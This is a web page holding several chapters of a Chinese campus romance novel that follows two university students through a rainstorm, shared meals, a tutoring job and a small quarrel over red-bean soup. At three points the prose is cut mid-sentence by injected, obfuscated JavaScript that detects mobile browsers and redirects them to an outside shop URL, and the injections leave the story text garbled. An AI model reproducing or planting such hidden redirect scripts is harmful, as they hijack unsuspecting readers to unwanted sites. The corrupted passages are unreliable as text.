梁宜舟的声音被噼里啪啦越下越大的雨声掩盖,她只好伸出手,很轻地拉了一下叶朝陵因为用力而绷起的小臂:“那个……可以进来点。” “会挡路。” “别淋雨了,进来吧!没事的!”她的道德标准偶尔也可以对叶朝陵无伤大雅地偏爱一下。 叶朝陵明确地摇了下头:“很快到了。” 梁宜舟将他带到社团办公室,此刻空无一人,外面雷声震天,在广告牌落地的那一刻还同步响了一声,吓得梁宜舟轻轻“啊”了一次。 “……什么鬼天气,海报都浪费了。” 叶朝陵甩了下胳膊,随意看了下四周:“你在话剧社?” “嗯,不过不是编剧,也不是演员。” “看得出来。”叶朝陵好似担心她误会,目光从她脸上仔细看过去,问说,“怎么不考虑去表演,而选了宣发部门?” “随便分的……” 梁宜舟不想说出自己只是为了加学分的初衷,更不想承认自己从来没看过话剧、也不感兴趣,更不想浪费时间背台词和接近每天排练。 “哦,可惜了。” “可惜什么?”梁宜舟拿出包里的纸巾,拿出几张先递给叶朝陵,“演员竞争力很大的。” “没什么。” 梁宜舟心说,他是在夸自己漂亮到可以去演女主角,还是她很擅长演戏。 梁宜舟用纸巾轻轻擦着唇上由发丝时不时滴下来的雨珠,晕染了几点她的唇膏,淡淡的裸粉色,目光随意飘着。 直到望向叶朝陵的手指—— “啊,你手指划破了!”梁宜舟眼疾手快,直接拿手中的纸巾轻轻按了上去,关切的说,“这些广告牌新做的太锋利了,像纸张一样,这个架子应该没有生锈,不然还得打破伤风……” 梁宜舟再自然不过地按压,触碰的手背,再轻易松开,转向办公室一角去检查广告支架。 叶朝陵低头看了看印着大耳狗的纸巾,干净的那一侧覆盖着他那道不深的划痕,留在外面的是一点点裸粉色的细闪。 “幸好没生锈!” 叶朝陵淡淡回神:“嗯?哦,没关系。” “我看看,伤口深不深。” 叶朝陵将手放下,捏紧纸巾,却没有要让她再握上来细看的意思:“不深,没感觉。” “好吧,你还是回去再看看,有时候划的还挺深的,有创可贴也可以贴一下消炎。” “嗯。” 梁宜舟忽的一笑:“我怎么忘了你是医学院的了……医生就不用我多担心啦!” 叶朝陵很严谨地回复:“还不是医生。” “无所谓啦,请你吃饭?”梁宜舟单刀直入,她不擅长欠人情,“不然我会过意不去,是真的会一直记在心里不太舒服那种。” 叶朝陵没有及时回复,梁宜舟着急凑上来半步,甚至举手发誓:“我不是在套近乎啊……” 叶朝陵淡淡的笑了一下:“等下有课,打算回去换衣服上课。” 梁宜舟想也没想,每次一旦碰到问题,只想立即解决那种,“那我等你下课?你帮了我大忙都淋湿了,可不要再说——也不是非吃不可。” “好。” 梁宜舟冲他摊开空空如也的掌心:“本公主要给你颁奖,不止不扫兴,还很听话。” 叶朝陵玩笑似的看她一眼。 “这是奖杯。”梁宜舟认真拿眼神向手掌心瞟了瞟,“没错,就是你看到的这里。” 原本没指望叶朝陵会配合,却只见他接过“空气”,骨骼分明的手指握拳在空中懒慢的挥了下:“谢谢,公主。” “……” 诶? 5. 红豆 05、 跟叶朝陵约好一起吃晚饭,梁宜舟不方便挑剔时间,只想尽快,便选择了在叶朝陵发来短信询问改期时,毅然决然地拒绝了。 叶朝陵那边是理论课,但授课教师放了一段多年前医院授权可公开的术中操作视频,时长超标,但是见学生们兴致勃勃,于是继续播放。 幸好临走之前梁宜舟问他要了联系方式,自然而然说出:“下课了我发你定位。” “好。” 叶朝陵没做犹豫,很爽快地报出自己的手机号,只是善意提醒说:“我手机常年静音,回复可能不及时,看到会回。” 梁宜舟冲他一笑:“看到会回就行啦,我哪敢期待别人秒回信息,那也太容易受伤了吧。” 叶朝陵没多说,也只是淡淡笑了下。 等时间到达傍晚六点三十分,原定的下课时间,叶朝陵的微信精准到达: 老师拖堂了,最快还得二十分钟结束。 梁宜舟双手握紧手机,大拇指飞速打字:我不急,等你下课。 叶朝陵没有开放朋友圈,三天可见,头像也异常普通,只是一张恶魔天使摇滚组合的早期专辑封面图,放大看老旧又模糊。 梁宜舟则不同,她没有要运营人设的企图,但是朋友圈发得少量但精致,自拍图极少,但是特意放出了去年高中毕业拍的肆意青春纪念。 程如梨拿胶片相机帮忙拍的,大学入学添加的新同学看见后,无不夸赞那几张。 纵然她穿着最朴素的灰白二手校服,不是刻意想达成做旧的效果,而是陈艳不愿给她买新校服,她畏惧“超短裙”再来的走光恐惧。 更畏惧年轻女孩嘲讽、年轻男孩觊觎的眼神,这令人此刻想起也觉得难堪。 她并非有意为之。 但梁宜舟很自信地将三天可见改成半年可见,令新添加的人难以忽视她贫穷的美貌。 跟随叶朝陵的提醒,二十分钟一到他的微信就再次传来:还没结束,老师讲到实操兴头上了,你饿不饿? 梁宜舟答非所问,正往医学楼那边慢走,回头看了看,露出疑惑的神情:那个……问个问题,你是在医学楼B2吗? 叶朝陵:嗯,在203那个阶梯教室。 梁宜舟往二楼看了看:你听见唢呐声了吗? 隔了几秒。 叶朝陵的电话直接打过来:“你在楼下吗?” 梁宜舟仍旧在绕圈,她对整座校园其实都不太熟悉,这种回字形教学楼就更容易走丢,202隔壁为什么不是203啊? 到底用什么计算方式才能是205? 梁宜舟真实地无奈,又狐疑地扭头看了下,确认没有什么人:“我在!不过我找不到203,还……一直听见唢呐声,不会是来接我走的吧!” 叶朝陵在电话里轻轻一笑:“抱歉,饿晕了吧,等了这么久。” 梁宜舟顿住脚步,脑海里居然在回味他那句傲娇又带着笑意的“饿晕了吧”。 “……也还好。” 末了,梁宜舟又屏息,问了一声:“你那边真的听不见吗?唢呐声……” “听见了。” 声音很轻,却是从耳后传来,吓得梁宜舟回头踉跄半步:“吓死了!” “经常有人在树林练琴,声音不算太大。” 梁宜舟呼了口气:“好吧,原来是这样……” 叶朝陵说:“抱歉,吓到你了,不知道你名字,没办法喊你。” 梁宜舟伸手拍了拍自己的胸口,又往声音传来的小树林看了眼:“哦,没事,我叫梁宜舟,宜室宜家那个‘宜’,轻舟已过万重山那个‘舟’。” “嗯。” 梁宜舟看他一眼:“那你给我改个备注?” “有备注。” “什么备注?” 叶朝陵将手机打开,在她眼前晃了晃,逗她玩似的请念:“您好,我是公主,添加……” 梁宜舟虽然是个ENTJ,但是公共场合倒也没有那么自如,赶紧伸手做打住的动作:“可以了,你想备注什么都可以……” 其他放学下楼的同学涌现了一批,跟其他学科一样,并不是梁宜舟医学滤镜里那般沉稳斯文的模样,同样没有边界感地啪一声拍到叶朝陵肩膀上:“晚上去不去自习呀?怎么都不回我微信!” 叶朝陵眉心一蹙,不动声色地别开肩,梁宜舟也跟着皱起眉:“不去。” “约了别人?”女同学拖长尾音“哦”了一声,又问,“你们吃什么好吃的去?” 叶朝陵望了眼梁宜舟:“看她。” “哦——”这次更甚,女同学赶忙挥了挥手,“那不耽误你们时间了!春宵一刻值千金呀!” 梁宜舟面色淡然,甚至在女同学经过她身侧打探她的眼神中,保持着礼貌的微笑。她本可以做到不动声色地无辜询问叶朝陵——这是你同班同学吗? 但是梁宜舟没这样做。 反而是叶朝陵第一次深深看了她几秒,又不大自在地别开眼:“抱歉,我跟她不熟,不知道她会说冒犯你的话。” “没事呀,我不生气。”梁宜舟伸出食指在叶朝陵的眼前摆了摆,干涩但尽量俏皮地开口:“几十年的先辈努力才托举着女性来大学读书识字,又不是争风吃醋来的!真没劲!” 叶朝陵微微吸气,正色看向她:“但是我有点生气。” 梁宜舟眼瞳左右转动了一下,有点无措,又很快噗嗤笑出声,难以掩盖嘴角有点惊讶的笑意,忍不住直接扬起手盖到他头顶,隔空揉了揉:“虽然你也被冒犯了生气情有可原,但是你突然这样……好像护主的忠心大狗狗哦!” 叶朝陵没搭理她的玩笑,眼睑半拢着,语气淡淡:“走吧,吃饭。” / 跟叶朝陵单独吃饭比梁宜舟预估的更为“惊心动魄”一些。 梁宜舟选了家距离学校步行只需要15分钟距离的茶餐厅,店铺虽小,老板和老板娘却是地道的广州人,在慕城这边经营这家店已经二十余年,谈不上精致,却是实打实的口感美味。 他话不多但是并非文艺阴郁气质的那种,反而偶尔会因为呛人而显得生动。 不可否认,梁宜舟对他本人的好奇跟对他的生活窥探性质几乎一样。 梁宜舟绞尽脑汁却状似不经意地问他:“你平时就在学校宿舍住?” 叶朝陵正在吃买绵密软糯端在他指间的芋头:“嗯。” 梁宜舟盯着他的手指看了一会儿,等他抬眼看向自己才迅速挪开:“你怎么不回家住?反正学校离玫瑰栖院这么近……你平时在宿舍不会觉得很挤、很不方便吗?” 叶朝陵停了几秒,才说:“还好。” “哦……”梁宜舟担心他再次抬眼时会带着询问的意味,主动找补说,“也对啦,还是不要搞特殊化,社交能力也挺重要的,我妈妈本来是想让我一直在家里待着的,但是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093619|195554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸还算开明。” 梁宜舟说得脸不红心不跳,毕竟陈艳确实有这样的打算,让她高分去读慕城师范大学,不止可以全免学费,平时晚上还可以回店里帮忙端米线。 更重要的是,还能省下一笔不菲的家教钱,好给梁琰免费补习。 叶朝陵关注点完全不同,猝不及防问她:“怎么做到一直待在家里?” “……上完课就回家呗,出门就让人跟着,或者说——看着,行程都是被安排好的。”梁宜舟增添一丝无奈,“怕我被人拐走了……任何意义上的。” 叶朝陵抿了下唇,舌尖还有一些绵软的芋泥香气,他留意到梁宜舟早已经放下碗筷,双手已经撑在自己膝盖上,随意之中又端坐着,她说话间抬眼朝着老旧的吊扇望去。 微微仰头之间,发尾从她耳边涌荡而过,精致的下颌线缓缓消失转而变成眼前同样在寻找他目光的双眸,梁宜舟惊呼:“好羡慕你啊。” 叶朝陵稍微挺起背,吞咽一口云吞面:“羡慕我什么?” “能学医,学这种需要时间、金钱、精力不断投入的学科,普世意义又很强,门槛专业性也高。”梁宜舟说完尽量找回内心的平衡,“我只能学心理学。” “其实也算相关学科?” 心理学当前社会应用度并不普及,梁宜舟对此压根没有抱太多希望:“可能跟精神科有一点点接近……辅助治疗?都市人心理疾病、亚健康状态越来越严重……” 叶朝陵摇摇头不多评论:“不太清楚,我读的外科。” 梁宜舟手肘搭在一张纸巾上,单手托着下巴,冲叶朝陵笑着挑了下眉:“好冷漠哦,叶医生。” 梁宜舟眼中的失落一闪而过,她好奇问:“你们的实验器材是不是特别复杂?我经常看医疗剧,每次看到护士听到指令给主治医师递上手术刀的画面,都觉得好厉害,甚至有点兴奋……” “……你好像完全不害怕。” “嗯!我平时见到家禽内脏也完全没反应……” 叶朝陵反应淡淡的,也许以为她指的是做熟了的美味内脏菜肴。 梁宜舟却情不自禁地扯了下嘴角,有点苦笑的意味,她脑海里想起的其实是刚到陈艳店里帮忙那会儿,帮厨嫌她手脚不利落,端菜又嫌弃她过于小心翼翼,怕疼又怕烫。 最后就让她去后厨洗盘子,偶尔倒霉起来,也需要新食材—— 那些同一条街另一个档口送来的最新鲜的鸡鸭猪内脏。 叶朝陵看了眼桌角的纸巾,敛平唇线,声音较之前温和了一点:“是家人替你选的专业?” 梁宜舟眼神乱逛,仿佛在说别人的事情:“哦,那倒不是,随便选的,反正命运都是被设定好的嘛,读什么都是一样的,不说照顾别人,读点心理学好歹能剖析、拯救下自己。” “管用吗?” 梁宜舟不假思索地说:“没用。” 叶朝陵一眨不眨地近乎要将她看穿,没有发出任何声音。 只在老板娘端着迟来的陈皮红豆沙从桌边挤过时,叶朝陵才将视线转移,拨开瓷勺朝向梁宜舟方便拿的方向,推到她眼前:“不是说吃喜欢的东西会开心吗?” 梁宜舟哪敢与他对视:“我现在也没有不开心呀!” “那你晚上有空吗?”叶朝陵那碗红豆沙刚好端上,他也搅了搅瓷勺,出乎意料地主动发起一个新的话题:“如果你有空,也出得去,我可以带你去实验室。” 6. 实验 06、 梁宜舟转悠了下眼神,判断即将到来的雨势如何,反问说:“外人可以进你们实验室?” 叶朝陵轻摇了下手机:“我邀请你,线上登记就可以。” “哦。那管得也不是很严格。” “很严你就进不去了。” 梁宜舟笑了下,很无所谓地抬了下肩膀:“这么容易就不去了吧,我还以为医学院门禁森严,得翻墙偷偷进去,又或者是……” 叶朝陵并不勉强,也没有失落的神态,只是淡淡地问:“又或者什么?” “或者……装你的女性同学,女性朋友,女性家人……呗。” 叶朝陵看她一眼,安静须臾,“看样子你心情好起来了。” “本来也还行。” 叶朝陵微微抿了下唇:“那就好,我先去实验室了。” 梁宜舟伸手出拳,迅速在叶朝陵根本不躲避的眼神前一晃而过,她不满意地笑了下:“还以为你会多邀请我一下。” 叶朝陵看起来沉静深邃,脾性藏拙却不藏锋,并不顺着她说,反而很直白的显露自己的兴致不佳:“我得去自习,就不陪公主玩了。” 梁宜舟也见好就收:“行吧,有机会再说吧,我也确实还有事情。” “嗯,那再见。” “再见……”梁宜舟举起手机,横在二人中间,“那下次有时间想去实验室,找你还算数吗?叶同学。” 叶朝陵重复她那句:“有机会再说吧。” 梁宜舟故作无所谓地笑了下,以退为进:“哦,那就是不算数了,明白了。” 叶朝陵看了她一眼,大约几秒后,刚想张口说点什么,梁宜舟已经又说了一遍“再见”,人已经倒着走了两步,冲他保持着有距离礼貌的微笑。 叶朝陵想起什么,轻声喊道:“梁宜舟。” “嗯?”梁宜舟冲他利落的露笑,“好久没有人叫我全名了,吓我一跳。” “抱歉。” “开玩笑而已啦,我妈妈很爱这样叫我的,她觉得我的名字很好听。”梁宜舟说得再自然不过,“我妈妈经常说,漂亮女孩子要有与之相配的名字。” “嗯。” 梁宜舟假意问:“你也这么觉得吗?” 叶朝陵很清晰地问:“你指的是什么?” “当然是我……”梁宜舟冲他笑,“我的名字。” “很好听。”叶朝陵并不吝啬夸赞,比她更为敞亮,“如果是说你,也一样。” 梁宜舟没料到他如此直接,反倒是没有敢贸然接话,她极少听见除了程如梨以外的人坦荡大方地夸赞她,盯着叶朝陵看了一眼,忽然抬了下眉毛,晃了下胳膊,问他:“所以喊我要做什么呢? “你稍等我一下。” 梁宜舟眼睛往一侧很快看了下天色,“那你快一点哦。” 叶朝陵回答准确:“三分钟。” 叶朝陵回身刷学生卡从闸机口迅速进去,狭窄的入口在他通过时显得宽松有余,梁宜舟不禁感慨,他真的是清瘦得像是被上帝精细雕琢过,令人靠近时根本不会觉察,甚至觉得线条、个头都刚刚好。 叶朝陵没等电梯,学校的三层楼普遍是两段转弯的长楼梯衔接,他不似几秒钟之前那样阔步,反而一步迈过好几层台阶,尽快去他常待的实验室工位。 拿了东西回来时,梁宜舟看出他有些轻微的、不易察觉的喘息,她故意摇了摇手机,很无辜的语气说:“我可没有真的在计时,不用那么着急。” “还好。” “还好吗?” 叶朝陵没有回答,只是将伞递给她,“要下雨了,给你伞。” 梁宜舟安静了两秒,才接过,有些惊讶于他的细心,但转念一想,他这样的家庭本就是精英绅士教育贯穿始终吧,可能就算是分手也会说,都是他的错,他将不会对外界说任何一句女方不佳、不合适的话。 梁宜舟说:“谢谢,但是你呢?你怎么回去?今天好像一整天都有雨。” “男生宿舍很近。” “对哦,忘了你可以住学校。”梁宜舟将之前的戏路演到底,“那我就不跟你客气啦,因为我实在是不喜欢淋雨,很伤发质的,做多少护理都补不回来。” “嗯,注意安全。” “那下次还你。”梁宜舟觉得这种下次还伞的见面理由,是一种很隐秘的内心雀跃,因为这是叶朝陵创造的,还是主动、正当的。 但是下一秒叶朝陵就说出令她嘴角凝滞的话。 “上次巷子里那个男生……” 梁宜舟沉吟,“他啊……” 叶朝陵只是看她一眼,意味不明地说:“注意安全,晚上别走小路。” “哦,没事的,我不是跟你说过了吗……他是我弟弟,在家里不怎么受待见,经常被我爸爸妈妈‘教育’,只有我会给他偷偷塞一点零花钱。” 见叶朝陵没出声,梁宜舟捏紧折叠伞,又说:“放心好了,我简直是他的大救星,他顶多就是敲诈一点零花钱而已,不是什么坏孩子。” “嗯。” “那我……先走啦!下次见!” 叶朝陵微微点头,“好。” 提到巷子里的男生,没有多说什么,梁宜舟举着伞匀速走在学校路边,反复咀嚼着刚刚她和叶朝陵的对话,确认没有遗漏他的言外之意。 但是他倒是提醒了梁宜舟,这几周都没跟陈屿联系了。 她马上掏出手机,按照之前的方式,线上问他:最近怎么不联系我? 对方一反常态,几乎秒回:我妈像看犯人一样看着我,以后找你,你先囤着吧,别卖给别人了。 梁宜舟脖子边和胳膊肘夹着伞,双手举着手机,不好打字。 陈屿很快又发来一句,跟他本人看起来的样子反差很大,很是孩子气:我最近没住校,根本没机会溜出去。 只回了个“好的”的表情。 梁宜舟不在乎他是什么状态,只要这个大客户财神爷别跟丢了就行了。 / 周六这天下午,梁宜舟照例去兼职做家教。 这家的女主人今天跟朋友有约,计划去郊区的人造滑雪场上私教课,晚上不能按时回家,拜托梁宜舟多辅导大女儿大约2小时,可以另外计算照看费用。 梁宜舟反正闲着也是闲着,不着急回宿舍,于是答应下来。 谁知这家的大女儿性格骄纵,根本不是能延长辅导时间的人,哪怕女主人提前打来电话交代过她,她也只是对着视频电话装乖讨喜,转头就让住家阿姨把iPad的密码给她解锁了,声音喊得越来越大。 住家阿姨对此见怪不怪,话锋一转,将事情丢到梁宜舟身上,说是:“老师在不能玩iPad,不然你妈妈要说你了,除非梁老师答应你,不然我可不敢。” 小女孩哪懂这背后推诿的心思,立即拉了拉梁宜舟的裙角,减轻音量,拿出自己最好的态度:“梁老师,好梁老师,你让林阿姨把iPad拿给我吧,我就看一会儿《冰雪奇缘》,我不玩别的游戏,就一会儿,行吗?” 梁宜舟也有样学样,推辞回去:“要不然让林阿姨给你妈妈打个电话,询问一下能不能玩iPad呢,你今天学习表现很不错,她搞不好会答应的。” 林阿姨怀里抱着还没熟睡的小婴儿,讶然地看她一眼,对着正在焦躁的小女孩低声嘟囔了一句:“特意问肯定是不会答应的了,不过平时也玩的,太太也没有管得那么严,要是今天学习好,本来应该会答应。” 小女孩即刻接话,语气已经不善:“是啊!特意问了我妈肯定不同意。” 梁宜舟哽住,语气淡淡的说:“那你只能玩半小时,可以答应我吗?” “没问题!四十分钟!” 梁宜舟的语气不容商量:“半小时。” “好吧,半小时就半小时。” 小女孩见好就收,临出房间之前,还不忘给林阿姨递了个不高兴的眼神,不知道是在责怪谁。梁宜舟装作没看见,打算以后尽量减少跟林阿姨的沟通接触。 梁宜舟赶回宿舍已经十点二十八分,他们学校十点半开始门禁,执行严格,之前女生宿舍就算是着火了,也只能是女辅导员登记完才能带领着消防员进入。 梁宜舟坐在桌前,心有余悸,幸好赶回来了,不然她就得自费“借助”学校附近的麦当劳了,让她周末回家撞上陈艳他们一家人,她宁可睡大街。 “舟舟,电话,接电话,发什么呆呀!” 程如梨听到手机振动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093620|195554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,头从上铺床帘上弹出来,轻声催促,“舟舟,你的电话!不会是你爸爸打来的吧……” “哦,不是……”梁宜舟回过神,扫了眼手机屏幕,赶紧走到阳台去接电话。 是聘用她当家教的那家太太打来的,她很客气地问,这么晚会不会打扰她了。 梁宜舟忙说,“不会。” 对方非常有礼貌,语气也和善,但还是提醒梁宜舟说,以后如果她不在家,希望不要再允许给她的女儿玩iPad,如果拿不准他们之前的习惯,可以先问一下她或者林阿姨。她倒不是认为电子产品是什么洪水猛兽,只是她实在不放心一个小学五年级的女孩子,独自上网跟陌生人聊天,又或是浏览到什么有害信息。 梁宜舟一瞬间有点无力,不知道林阿姨和当事人如何将责任都推卸到她身上,但她也确实有处理不妥当之处。 梁宜舟吸了一口气,平静回:“抱歉,太太,我后面会注意的。” “好的,没关系,我也抱歉打扰到你了,你也早点休息。” 梁宜舟轻声关好阳台的门,程如梨又重新探出头来,见她脸色有一些淡淡的失落,忙问:“没什么事吧?” 梁宜舟解释:“没事,做家教的事情。” “那家人投诉你了?”程如梨瞄她一眼,安慰说,“你别放在心上,舟舟,你才上几节课呀,总不能要你比名师辅导见效还快。” 梁宜舟冲她挤出一个微笑,“没有,没投诉。”然后接着如往常一般问她,“要给你倒杯水不?不然我就去洗漱了。” “要!还是舟舟宝贝最懂我!” 已经累了一天,梁宜舟洗完澡躺回自己床上,程如梨跟她头对头住,她那边有吸管喝水的声音,温温润润的,有一种鱼儿游水的解渴感。 但梁宜舟此刻却心情郁闷,倒也谈不上特别难过,就是有点解释不清的委屈。 她深知,在关心和信任她的人面前,她无理也可以占三分理,在陌生人的利益面前,她只是个被雇佣的临时工、穷学生,有理也说不清楚。 她忽然在深夜想吃一碗热乎乎微甜的红豆沙。 想要心情好一点。 却同时想起她带叶朝陵去吃红豆沙那天,他只吃了几口,梁宜舟提醒说,不要加炼乳,最好是加一点点细密的白砂糖,口感会完全不一样时,叶朝陵尝试了一口,喉结微动咽下去那一刻,他们同时说—— “好吃吧!” “好吃。” 一问一答,没有落空。 梁宜舟不自知地笑了一下,拿起手机伸直胳膊,又拉进到自己眼前。正愁怎么开启话题,叶朝陵主动发来一张照片。 是她推荐的那家、那碗红豆沙,对面坐着另一个人。 光看手指,不辨性别。 梁宜舟过度解读,那一定是女孩子。不然男同学的手指,应该很好分辨。 随后,叶朝陵发来文字消息:下午在附近碰到高中同学,一起来尝了尝,甜食果然会让心情变得更好。 梁宜舟面色一顿,飞速打字:难道不是因为碰到了高中同学心情才变好的? 叶朝陵秒回:不是。 梁宜舟刚洗过热水澡的头皮微微发麻,她伸手轻轻挠了一下,回复直白:不重要的同学为什么要带她去吃我最喜欢的甜品!最喜欢的! 梁宜舟发完,不自在地抿了抿唇,稍微冷静了一下,也不知道刚刚自己在隐隐的生什么闷气,纠结了两秒要不要撤回。 手机屏幕显示那边一直是输入中。 两分钟后。 叶朝陵回:下次不会了。 梁宜舟手指胡乱打了几个字,又删除,不知道怎么隐藏自己莫名其妙的情绪。 她只是喜欢扮演大小姐,但是并不认为自己扮演的是骄纵任性的大小姐。这不符合她的性格。 梁宜舟刚要故作轻松的回复“没事,开玩笑的”。 叶朝陵又发来消息:但是这个男同学没吃,他在学校刚打完球,只是要了一罐冰可乐,没有尝过这里的甜品。 “这样……” 梁宜舟松了下眉心,轻轻笑了声,很轻的鼻音,手机还躺在她的掌心,被她捏紧后直接搭在了枕头上,还没来得及回复,刚挪开眼一秒就沉沉入睡。 7. 道歉 07、道歉 “人为什么总是在亲密关系中变得更加易怒?人又为什么在亲密关系中更喜欢回避和冷暴力?有多少比例是跟过往有关系,又有多少比例是跟当下发生的事情无关?是否所有的‘异常’行为都是因为过分在意和紧张伴侣?” “……为什么?” 叶朝陵正走在去上专业课的路上,广播声响,路边有心理协会和心理学专业的同学正在给本期的客座教授做在专题宣讲。 叶朝陵低声念了一遍。 走在他旁边的室友季来之误以为他在跟自己说话,“什么为什么?” “没有,刚刚听到广播在说。” “那个啊,什么讲座活动吧,心理系的,现在人毕竟很容易进入亚健康状态。”季来之见叶朝陵接了一张海报,神情认真,露出诧色:“你不会还对这些感兴趣吧?要是心理学管用,外科急诊就不用跟‘死神’抢时间了。” 叶朝陵从不与人反驳,但也没有表达赞同,只是叠好放入自己的背包中。 “估计没什么人去听,只能让心理系同学去凑学分,明天还是周六,估计更没有人愿意去参加这种活动。”季来之很有经验得侃侃而谈,“还不如开一门恋爱心理学的课程,那肯定火爆,隔壁学校就有!” “真的吗?”叶朝陵站直身体,“我没太关注。” “真的啊,人多到根本抢不到课。‘单身狗’去了可以学习如何追女朋友,有女朋友的人去了可以学习如何应对女朋友‘我今天有什么变化’的提问,以防她们突然生气不回复微信,那真得拎着零食去宿舍门口吹着寒风苦等了。” 叶朝陵无语地看他一眼,“生气了就会不回复微信吗?” “不回微信的原因有很多,但是生气了肯定是不会回复的,回复也会从‘嗯嗯’变成‘嗯’,可爱表情包也不会发了。” “……你这么有经验?” 季来之散漫地反问:“怎么大帅哥居然没谈过恋爱吗?” 叶朝陵抿唇苦笑了一下。 那她是不是生气了? 到下午上高数课之前,叶朝陵又看了眼手机,一整天除了季来之,暂时还没有人其他人找过他,偶尔弹起陌生人添加好友的消息提示。 可能是在班级大群里找到的他,如果没备注具体姓名、学院和添加好友的事由,他一般还是选择置之不理。 等到下课,叶朝陵正要从口袋里掏手机,耳边却是季来之突然从身后凑过来的声音,“朝陵!叶朝陵!” “什么……” “你晚上真不跟我们一起去吗?” 叶朝陵心不在焉地回答:“不去了。” 季来之今天念叨了一天程月照生日宴的事情,明知会被拒绝,还是继续游说,“大家都是同学,她平时多低调啊,要不是为了让你去,我估计她都不会邀请这么多人,你给系花一个面子嘛,好歹是我们医学院长得最漂亮的女生……” “不了。” “好大哥,你不去我都不好意思去了,要不你就当今天是我生日,大家都来给我过生日,你看行吗?” 叶朝陵把自己的外套脱了,塞进书包,下半身还套着篮球服,跟高中同学约了去打球,“我看不行。” 说完看了眼墙上的时钟,随意抬了下手,“走了。” “别啊,叶朝陵。”季来之高喊,“你到底要干什么去啊?我请你吃饭行不行!” 叶朝陵的声音飘过来,“我真有事。” 季来之闻声也一把拉起自己的书包,带子刮在椅子背上,刺耳一声巨响,“叶朝陵,你平时除了上课和自习,哪有什么重要的事情啊……” 再一回头,叶朝陵已经走远了。 / 梁宜舟也不确认明晚到底有几个人会到场参加这场亲密关系为主题的讲座,系主任很友善地找了隔壁社会学专业辅导员的帮助,毕竟这种交叉学科领域,也适合在社会学同学群里进行传播。 但是一到线上登记,就寥寥数人。 梁宜舟问程如梨,“是不是还是得送点礼品才行……” “你疯了吧!为什么要自费做这种事?这根本是辅导员该做的事情,她只不过是‘分发压力’给了你和其他同学。” “没事,我也希望心理学能够得到更多人的关注。” 程如梨冲她比了个大拇指,“我忘了,‘神女爱世人’。” 梁宜舟被她逗笑,“别闹。” 梁宜舟闷声想着这两天的宣发如何继续推进,光靠发传单可能不行,垃圾桶里已经很明显的堆积了几张。 叶朝陵下课重新经过他们的宣发地点,他刚瞄见一眼,刚下课的人群也随着焦点视线而隐秘的围绕了过去,但他没有犹豫,径直走了过去。 叶朝陵率先开口:“嗨。” 梁宜舟手上还捏着一张传单,下意识递了过去,“你怎么在这?” “刚下课。” “哦。”梁宜舟指了指自己和程如梨,“我们学生会和系里联合办的活动,正在宣传,你要不要来登记一下?是个心理学讲座。” 叶朝陵接过宣传单,指了指长桌上的报名表:“直接手写?还是线上报名?” “都可以,手写吧!” 程如梨有些按捺不住嘴角弯起的弧度,双手搭在梁宜舟的肩膀上,人站在她身后,轻声细语地说了句:“你的手机号我们会全程保密的哦!” 梁宜舟轻轻抬了下左肩,被她这个声音讶然到,直接将表格转向对着叶朝陵,笔盖也替他打开,“你不用填手机号了,你登记了明天傍晚肯定会来的,留号码主要是怕到时候被放鸽子了,不好联系。” 程如梨拿手指在她身后不知不觉地戳了一下梁宜舟的腰身,力道很小,却痒得她往旁边一躲,皱着眉有点委屈地“哎呀”了一声。 叶朝陵眼底泛起笑澜,听梁宜舟的,只写了自己的姓名和所在系别。 “谢谢!”梁宜舟很快将表格收起来。 见旁边围过来的同学越来越多,叶朝陵往没人的地方让了让。 “那我先走了,约了同学打球。” 梁宜舟忙着“招呼”突如其来的感兴趣的同学,略微提高音量,担心叶朝陵听不清楚,“行,你快去吧!有事发微信!” 提到微信…… 叶朝陵捏了捏口袋里的手机,拿出来,冲梁宜舟挥了下手。 离开人群后,先给她发过去一条信息:吃红豆沙吗? 他本以为梁宜舟得隔了很久才会有空回复,就没有期待,结果她几乎秒回,心情上有些石子微微落水的闷声感。 梁宜舟:现在?你不是要去打球吗?我大概六点半才能结束。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“道歉啊,谢谢你跟我道歉。”梁宜舟拖长尾音,空白时间,声音懒懒的,“昨天晚上确实生了几秒钟的气,因为……” 叶朝陵也淡淡笑了下,“因为什么?” “因为我没有带过除了你以外的朋友去吃过,确实是私藏来着。” “那我道歉。” “你昨天说‘以后不会了’,是真的吗?” 叶朝陵没有迟疑,“当然。” “好吧!”梁宜舟被他这种发誓的真诚语气唬住,转移话题说,“那就这样!晚上见吧!不止红豆沙,我还有私藏的小笼包和牛肉粉丝馆!” 叶朝陵没有走远,举着电话返回。 走到梁宜舟面前时,眼神明亮地看着她。 梁宜舟“诶”了一声。 叶朝陵对着电话,当着她的面,问道:“那以后生气可以当时就告诉我吗?” “不可以。” 叶朝陵想说,那我可能睡不好了,但是斟酌了几秒,停在了脑海中。 梁宜舟微微抬起头,冲他没心没肺却真实地笑了下:“因为我睡着了呀,第二天起床我是真的就记不得自己生过气了……” “哦。那我下次可以早点直接问吗?” 你有没有生气。 “也不可以。”梁宜舟的神情好像在说,公主做什么都可以。 叶朝陵欲言又止,但很快就露出无可奈何的笑意,“好吧,那看你心情。” 8. 端倪 08、端倪 